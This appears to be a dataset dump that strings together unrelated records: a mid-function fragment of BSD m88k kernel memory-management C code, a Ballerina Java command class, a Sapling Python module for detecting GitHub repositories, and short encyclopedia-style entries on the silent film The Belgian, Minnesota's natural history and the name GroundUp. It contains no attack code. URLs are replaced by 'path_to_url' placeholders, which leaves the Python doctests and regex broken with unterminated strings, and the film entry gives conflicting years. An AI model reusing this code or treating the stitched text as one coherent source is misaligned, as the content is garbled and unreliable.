/* CPU_INFO_FOREACH(cpu, ci) */ {
cmmu_dcache_wb(ci->ci_cpuid, pa, count);
/* XXX this should not be necessary, */
/* XXX I$ is configured to snoop D$ */
cmmu_icache_inv(ci->ci_cpuid, pa, count);
}
}
va += count;
len -= count;
}
}
#ifdef M88110
/*
* [INTERNAL]
* Updates the pte mapping `va' in `pmap' upon write fault, to set the
* modified bit in the pte (the 88110 MMU doesn't do this and relies upon
* the kernel to achieve this).
* Returns TRUE if the page was indeed writeable but not marked as dirty,
* FALSE if this is a genuine write fault.
*/
int
pmap_set_modify(pmap_t pmap, vaddr_t va)
{
pt_entry_t *pte;
paddr_t pa;
vm_page_t pg;
pte = pmap_pte(pmap, va);
#ifdef DEBUG
if (pte == NULL)
panic("NULL pte on write fault??");
#endif
/* Not a first write to a writable page */
if ((*pte & (PG_M | PG_RO)) != 0)
return (FALSE);
/* Mark the page as dirty */
*pte |= PG_M;
pa = *pte & PG_FRAME;
pg = PHYS_TO_VM_PAGE(pa);
#ifdef DIAGNOSTIC
if (pg == NULL)
panic("Write fault to unmanaged page %p", (void *)pa);
#endif
pg->mdpage.pv_flags |= PG_M_U;
tlb_flush(pmap, va, *pte);
return (TRUE);
}
#endif
/*
* [MD PUBLIC]
* Change the cache control bits of the address range `sva'..`eva' in
* pmap_kernel to `mode'.
*/
void
pmap_cache_ctrl(vaddr_t sva, vaddr_t eva, u_int mode)
{
int s;
pt_entry_t *pte, opte, npte;
vaddr_t va;
paddr_t pa;
cpuid_t cpu;
DPRINTF(CD_CACHE, ("pmap_cache_ctrl(%lx, %lx, %x)\n",
sva, eva, mode));
s = splvm();
for (va = sva; va != eva; va += PAGE_SIZE) {
if ((pte = pmap_pte(pmap_kernel(), va)) == NULL)
continue;
DPRINTF(CD_CACHE, ("cache_ctrl: pte@%p\n", pte));
/*
* Data cache should be copied back and invalidated if
* the old mapping was cached and the new isn't, or if
* we are downgrading from writeback to writethrough.
*/
if (((*pte & CACHE_INH) == 0 && (mode & CACHE_INH) != 0) ||
((*pte & CACHE_WT) == 0 && (mode & CACHE_WT) != 0)) {
pa = ptoa(PG_PFNUM(*pte));
#ifdef MULTIPROCESSOR
for (cpu = 0; cpu < MAX_CPUS; cpu++)
if (ISSET(m88k_cpus[cpu].ci_flags, CIF_ALIVE)) {
#else
cpu = cpu_number();
#endif
if (mode & CACHE_INH)
cmmu_cache_wbinv(cpu,
pa, PAGE_SIZE);
else if (KERNEL_APR_CMODE == CACHE_DFL ||
USERLAND_APR_CMODE == CACHE_DFL)
cmmu_dcache_wb(cpu,
pa, PAGE_SIZE);
#ifdef MULTIPROCESSOR
}
#endif
}
/*
* Invalidate pte temporarily to avoid being written back
* the modified bit and/or the reference bit by any other cpu.
*/
opte = invalidate_pte(pte);
npte = (opte & ~CACHE_MASK) | mode;
*pte = npte;
tlb_kflush(va, npte);
}
splx(s);
}
/*
* [MD PUBLIC]
* Change the cache control bits of all mappings of the given physical page to
* disable cached accesses.
*/
void
pmap_page_uncache(paddr_t pa)
{
struct vm_page *pg = PHYS_TO_VM_PAGE(pa);
struct pmap *pmap;
pv_entry_t head, pvep;
pt_entry_t *pte, opte, npte;
vaddr_t va;
int s;
s = splvm();
head = pg_to_pvh(pg);
if (head->pv_pmap != NULL) {
for (pvep = head; pvep != NULL; pvep = pvep->pv_next) {
pmap = pvep->pv_pmap;
va = pvep->pv_va;
pte = pmap_pte(pmap, va);
if (pte == NULL || !PDT_VALID(pte))
continue; /* no page mapping */
opte = *pte;
if ((opte & CACHE_MASK) != CACHE_INH) {
/*
* Skip the direct mapping; it will be changed
* by the pmap_cache_ctrl() call below.
*/
if (pmap == pmap_kernel() && va == pa)
continue;
/*
* Invalidate pte temporarily to avoid the
* specified bit being written back by any
* other cpu.
*/
invalidate_pte(pte);
npte = (opte & ~CACHE_MASK) | CACHE_INH;
*pte = npte;
tlb_flush(pmap, va, npte);
}
}
}
splx(s);
pmap_cache_ctrl(pa, pa + PAGE_SIZE, CACHE_INH);
}
/*
* [MI]
* Marks a "direct" page as unused.
*/
vm_page_t
pmap_unmap_direct(vaddr_t va)
{
paddr_t pa = (paddr_t)va;
vm_page_t pg = PHYS_TO_VM_PAGE(pa);
pmap_clean_page(pa);
return pg;
}
```
|
```java
/*
*
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
package org.ballerinalang.langserver.command.executors;
import org.ballerinalang.annotation.JavaSPIService;
/**
* Command executor for adding single documentation.
*
* @since 0.983.0
*/
@JavaSPIService("org.ballerinalang.langserver.commons.command.spi.LSCommandExecutor")
public class AddDocumentationExecutor extends AbstractDocumentationExecutor {
public static final String COMMAND = "ADD_DOC";
/**
* {@inheritDoc}
*/
@Override
public String getCommand() {
return COMMAND;
}
}
```
|
```python
#
# This software may be used and distributed according to the terms of the
import os
import re
import shutil
import subprocess
from dataclasses import dataclass
from functools import lru_cache
from typing import Iterable, List, Optional, Pattern
from ghstack import github_gh_cli as gh_cli
from sapling import error, git, util
from sapling.ext.github.consts import query
from sapling.i18n import _
from sapling.node import bin
from sapling.result import Err, Ok, Result
from .pullrequeststore import PullRequestStore
_PULL_REQUEST_ID_RE: Pattern[str] = re.compile(r"^PR(\d+)$", re.IGNORECASE)
class NotGitHubRepoError:
# we can add a 'kind' enum attribute to differentiate 'Not Git' and
# 'Git but not GitHub' cases later if needed
def __init__(self, message: str):
self.message = message
@dataclass(eq=True, frozen=True)
class GitHubRepo:
# If GitHub Enterprise, this is the Enterprise hostname; otherwise, it is
# "github.com".
hostname: str
# In GitHub, a "RepositoryOwner" is either an "Organization" or a "User":
# path_to_url#repositoryowner
owner: str
# Name of the GitHub repo within the organization.
name: str
def to_url(self) -> str:
return f"https://{self.hostname}/{self.owner}/{self.name}"
def as_gh_repo_arg(self) -> str:
"""the value to use with --repo for the GitHub CLI"""
if self.hostname == "github.com":
return f"{self.owner}/{self.name}"
else:
return f"{self.hostname}/{self.owner}/{self.name}"
def is_github_repo(repo) -> bool:
"""Returns True if it's a GitHub repo"""
return find_github_repo(repo).is_ok()
def check_github_repo(repo) -> GitHubRepo:
"""Returns GitHubRepo if the URI for the upstream repo appears to be an
identifier for a consumer GitHub or GitHub Enterprise repository; otherwise,
raises error.Abort() with an appropriate message.
"""
result = find_github_repo(repo)
if result.is_ok():
return result.unwrap()
else:
raise error.Abort(result.unwrap_err().message)
def find_github_repo(repo) -> Result[GitHubRepo, NotGitHubRepoError]:
"""Returns a Rust like Result[GitHubRepo, NotGitHubRepoError].
Checks if the URI for the upstream repo appears to be an identifier for a consumer
GitHub or GitHub Enterprise repository.
"""
if not git.isgitpeer(repo):
return Err(NotGitHubRepoError(message=_("not a Git repo")))
url = None
try:
# SL_TEST_GH_URL allows tests to use a normal git repo as the upstream while still
# operating in GitHub mode.
test_url = os.environ.get("SL_TEST_GH_URL")
if test_url:
url = util.url(test_url)
elif hasattr(repo, "get_github_url"):
url = util.url(repo.get_github_url())
else:
url = repo.ui.paths.get("default", "default-push").url
except AttributeError: # ex. paths.default is not set
return Err(NotGitHubRepoError(message=_("could not read paths.default")))
hostname = url.host
if hostname == "github.com" or is_github_enterprise_hostname(hostname):
url_arg = str(url)
github_repo = parse_github_repo_from_github_url(url_arg)
if github_repo:
return Ok(github_repo)
else:
return Err(
NotGitHubRepoError(
message=_("could not parse GitHub URI: %s") % url_arg
)
)
err_msg = _(
(
"either %s is not a GitHub (Enterprise) hostname or you are not logged in.\n"
+ "Authenticate using the GitHub CLI: `gh auth login --git-protocol https --hostname %s`"
)
% (hostname, hostname)
)
return Err(NotGitHubRepoError(message=err_msg))
@lru_cache
def is_github_enterprise_hostname(hostname: str) -> bool:
"""Returns True if the user is authenticated (via gh, the GitHub CLI)
to the GitHub Enterprise instance for the specified hostname. Note that
if this returns False, that does not mean that hostname is *not* part of a
GitHub Enterprise account, only that Sapling does not know about it because
the user is not authenticated.
"""
try:
subprocess.check_call(
["gh", "auth", "status", "--hostname", hostname],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
except Exception:
# The user may not be authenticated or may not even have `gh` installed.
return False
return True
def gh_args(args: Iterable[str], repo=None) -> List[str]:
"""Returns a list of arguments for calling the `gh` binary.
If a repo object is provided, it will try to determine the GitHub repo
it is associated with, and use it for adding `--repo TheNameOfTheRepo`
to the list. This option is used by gh for running some repo specific
commands.
"""
gh_cli = _find_gh_cli()
if gh_cli is None:
raise error.Abort(_("Missing gh binary."))
cmd: List[str] = [gh_cli]
if repo:
github_repo = find_github_repo(repo).ok()
if not github_repo:
raise error.Abort(_("This does not appear to be a GitHub repo."))
cmd += ["--repo", github_repo.as_gh_repo_arg()]
return cmd + list(args)
def _find_gh_cli() -> Optional[str]:
return shutil.which("gh")
def parse_github_repo_from_github_url(url: str) -> Optional[GitHubRepo]:
"""Assumes the caller has already verified that `url` is a "GitHub URL",
i.e., it refers to a repo hosted on consumer github.com or a GitHub
Enterprise instance.
Parses the following URL formats:
path_to_url
path_to_url
git@github.com:bolinfest/escoria-demo-game.git
git+ssh://git@github.com:bolinfest/escoria-demo-game.git
ssh://git@github.com/bolinfest/escoria-demo-game.git
and returns:
path_to_url
which is suitable for constructing URLs to pull requests.
>>> parse_github_repo_from_github_url("path_to_url").to_url()
'path_to_url
>>> parse_github_repo_from_github_url("path_to_url").to_url()
'path_to_url
>>> parse_github_repo_from_github_url("git@github.com:bolinfest/escoria-demo-game.git").to_url()
'path_to_url
>>> parse_github_repo_from_github_url("git+ssh://git@github.com:bolinfest/escoria-demo-game.git").to_url()
'path_to_url
>>> parse_github_repo_from_github_url("ssh://git@github.com/bolinfest/escoria-demo-game.git").to_url()
'path_to_url
>>> parse_github_repo_from_github_url("ssh://git@github.com:bolinfest/escoria-demo-game.git").to_url()
'path_to_url
>>> parse_github_repo_from_github_url("ssh://git@foo.bar.com/bolinfest/escoria-demo-game.git").to_url()
'path_to_url
>>> parse_github_repo_from_github_url("git+ssh://git@foo.bar.com:bolinfest/escoria-demo-game.git").to_url()
'path_to_url
"""
pattern = r"(?:path_to_url|(?:git\+ssh://|ssh://)?git@([^:/]+))[:/]([^/]+)\/(.+?)(?:\.git)?$"
match = re.match(pattern, url)
if match:
hostname1, hostname2, owner, repo = match.groups()
return GitHubRepo(hostname1 or hostname2, owner, repo)
else:
return None
async def online_pr_no_to_node(repo, prno: int) -> Optional[bytes]:
"""Queries GitHub and obtains the commit hash associated to a prno"""
if repo:
github_repo = find_github_repo(repo).ok()
if not github_repo:
raise error.Abort(_("This does not appear to be a GitHub repo."))
params = {
"query": query.GRAPHQL_GET_PULL_REQUEST,
"owner": github_repo.owner,
"name": github_repo.name,
"number": prno,
}
result = await gh_cli.make_request(params, hostname=github_repo.hostname)
if result.is_err():
return None
try:
return bin(result.unwrap()["data"]["repository"]["pullRequest"]["headRefOid"])
except KeyError:
pass
def lookup_pr_id(repo, prid: str) -> List[bytes]:
"""Returns the local commit associated with a PR as a list with a single
element, if one is available. Otherwise returns an empty list
"""
pr_no = parse_pr_number(prid)
if not pr_no:
return []
store = PullRequestStore(repo)
node = None
for nodeid in repo.revs("sort(draft(), -rev)"):
n = repo[nodeid].node()
pr = store.find_pull_request(n)
if pr and pr.number == pr_no:
node = n
break
if node is None:
return []
return [node]
def parse_pr_number(prid: str) -> Optional[int]:
"""Returns the pull request no. from a PR id, if valid.
Otherwise returns None
"""
match = _PULL_REQUEST_ID_RE.match(prid)
return int(match.group(1)) if match else None
```
|
The Belgian is a 1917 American silent film directed by Sidney Olcott and produced by Sidney Olcott Players with Valentine Grant and Walker Whiteside in the leading roles. It is not known whether the film currently survives.
Plot
As described in a film magazine, two simple Belgian folk, Jeanne (Grant) and Victor (Whiteside), love each other. Victor is a gifted sculptor and is taken to Paris for training. There he meets Countess de Vries (Crute) and becomes infatuated. She is a German spy and meets many military men through him. Berger (Randolf), the postmaster in Belgium who is also a German spy, wants Jeanne for his wife. She resists him and goes to the church for protection. The machinations of the German secret service include every possible torment for those oppressed by their power, and when war is declared Jeanne would have suffered greatly had not Berger been killed when Victor was wounded. Jeanne nurses Victor back to health and over his heartbreak for the countess. True love returns, and together they work for Belgium and watch for the troops of a larger but not greater nation to come to their aid.
Cast
Walker Whiteside as Victor Morenne
Valentine Grant as Jeanne Desfree
Arda La Croix as Father Julian
Sally Crute as Countess de Vries
Georgio Majeroni as Colonel Dupin
Anders Randolf as Berger
Henry Leone as Jeanne's Uncle
Blanche Davenport as Victor's Mother
References
External links
The Belgian website dedicated to Sidney Olcott
lantern slide(Wayback Machine)
1918 films
American silent feature films
American black-and-white films
1910s American films
|
The natural history of Minnesota covers many plant and animal species in the U.S. state of Minnesota. The continental climate and location of Minnesota at the physiographic intersection of the Laurentian and the Interior Plains influences its plant and animal life. Three of North America's biomes converge in Minnesota: prairie grasslands in the southwestern and western parts of the state, the eastern temperate deciduous forests in the east-central and the southeast, and the coniferous forest in the north-central and northeast.
Ecoregions
An ecoregion is an area uniquely defined by environmental conditions and natural features. Ecoregions in Minnesota were largely influenced by the unique glacial history, geology, soil type, land use, and climate of the state. The United States Environmental Protection Agency, Minnesota Department of Natural Resources, and World Wildlife Fund maintain separate classifications of the state's ecoregions. Although different, they generally agree on delineating between the coniferous forest in the north-central portion and the Arrowhead, a temperate deciduous forest in the central and southeast, and the tallgrass prairie in the southern and western portions of the state. The northern coniferous forests are a vast wilderness of pine and spruce trees mixed with patchy stands of birch and poplar.
Flora
Much of Minnesota's northern forest has been logged, leaving only a few patches of old-growth forest today in areas such as in the Chippewa National Forest and the Superior National Forest where the Boundary Waters Canoe Area Wilderness has some of unlogged land. Although logging continues, regrowth keeps about one third of the state forested.
Flora listed as threatened on the United States Fish and Wildlife Service list of endangered species include the Prairie bush-clover (Lespedeza leptostachya), the Western Prairie Fringed Orchid (Platanthera praeclara), and Leedy's roseroot (Rhodiola integrifolia ssp. leedyi), and the Dwarf trout lily (Erythronium propullans).
Fauna
Historic (and modern) loss of habitat, as well as overharvesting, has affected some native mammals to the point of extirpation, including the bison (disappeared in the mid-1800s; the last bison was reported in southwest Minnesota in 1879; a non-wild population exists in Blue Mounds State Park), cougar (though vagrant individuals are becoming more common), wolverine, and the boreal woodland caribou (extirpated from all the Lower 48). Whitetail deer and bobcats thrive; the state has the nation's largest population of wolves (specifically timber wolves) outside of Alaska, and also supports healthy populations of black bears, elk, Canada lynx, American martens, fishers, and moose.
Located on the Mississippi Flyway, Minnesota hosts migratory waterfowl such as geese and ducks, and game birds such as grouse, pheasants, and turkeys. It is home to the largest population of bald eagles in the contiguous United States following a large increase in conservation efforts and breeding areas since 1989, with an estimated 30 active nests in the Twin Cities alone. The red-tailed hawk thrives in Minnesota woodlands, swamps, and prairies, where rodent populations are high. Although they do not nest in the state, snowy owls migrate to Minnesota from the arctic tundra to hunt voles, mice, and rabbits. The number of snowy owls in the state in any given winter depends greatly on the winter conditions of the snowy owl's natural habitat, in areas such as Canada and Alaska.
The state fish, the walleye, is found in all parts of Minnesota. The walleye fishing season begins on the second Saturday of May, the time of year when the fish begin spawning. Walleye are especially active on cloudy days and after sunset, as well as during the autumn, when they feed heavily to prepare for winter. They naturally reproduce in 260 lakes throughout the state, and are stocked in 1,300 other lakes by the Minnesota Department of Natural Resources. The lakes contain other sport fish such as smallmouth and largemouth bass, muskellunge, and northern pike, and streams in the southeast are populated by brook, brown, and rainbow trout.
References
Environment of Minnesota
|
GroundUp may refer to the following:
GroundUp (news agency) - South African non-profit online news agency.
GroundUP (album) - 2012 music album by the American jazz band Snarky Puppy
GroundUPmusic - a label started by Snarky Puppy
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.